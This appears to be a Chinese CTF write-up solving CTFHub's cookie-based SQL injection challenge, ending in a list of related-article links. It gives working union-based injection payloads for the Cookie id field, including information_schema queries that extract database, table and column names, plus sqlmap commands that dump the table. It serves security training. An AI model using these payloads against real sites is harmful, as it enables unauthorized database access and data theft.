CTFHUB技能树之SQL——Cookie注入

开启靶场,打开链接:

发现没有注入点,猜测是Cookie注入


用burp抓包发送到repeater中:

先直接发送看看情况:

应该是整数型注入?毕竟默认就是id=1


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2


查看数据库位置:

1 union select 1,2#

看样子可能不在数据库中,老样子,改成-1 union select 1,2#


(1)爆数据库名

-1 union select 1,database()#

得到数据库名是sqli


(2)爆表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

得到cxmdnrbzzo表和news表


(3)爆列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cxmdnrbzzo'#

得到urweetotud列


(4)爆字段内容(flag)

-1 union select 1,group_concat(urweetotud) from sqli.cxmdnrbzzo#

得到flag:

ctfhub{c177bd6f0e338d70e4f1e63c}


用sqlmap试试:

python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800/" --cookie "id=1" --level 2 --dbs

(注意:不设置level的话没法爆破出数据库信息)

爆出sqli数据库了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli --level 2 --tables

爆出cxmdnrbzzo表了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --columns

(其实这一步不用爆也行,直接爆字段内容,下一步就是不写列名直接爆字段内容)

爆出urweetotud列了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --dump

成功爆出flag

相关推荐
马克Markorg7 小时前
常见的向量数据库和具有向量数据库能力的数据库
数据库
Coder_Boy_9 小时前
技术让开发更轻松的底层矛盾
java·大数据·数据库·人工智能·深度学习
helloworldandy9 小时前
使用Pandas进行数据分析:从数据清洗到可视化
jvm·数据库·python
ShoreKiten11 小时前
ctfshowweb351-360
web安全·ssrf
数据知道11 小时前
PostgreSQL 故障排查:如何找出数据库中最耗时的 SQL 语句
数据库·sql·postgresql
qq_124987075311 小时前
基于SSM的动物保护系统的设计与实现(源码+论文+部署+安装)
java·数据库·spring boot·毕业设计·ssm·计算机毕业设计
枷锁—sha11 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
Coder_Boy_11 小时前
基于SpringAI的在线考试系统-考试系统开发流程案例
java·数据库·人工智能·spring boot·后端
Gain_chance11 小时前
35-学习笔记尚硅谷数仓搭建-DWS层最近n日汇总表及历史至今汇总表建表语句
数据库·数据仓库·hive·笔记·学习
此生只爱蛋12 小时前
【Redis】主从复制
数据库·redis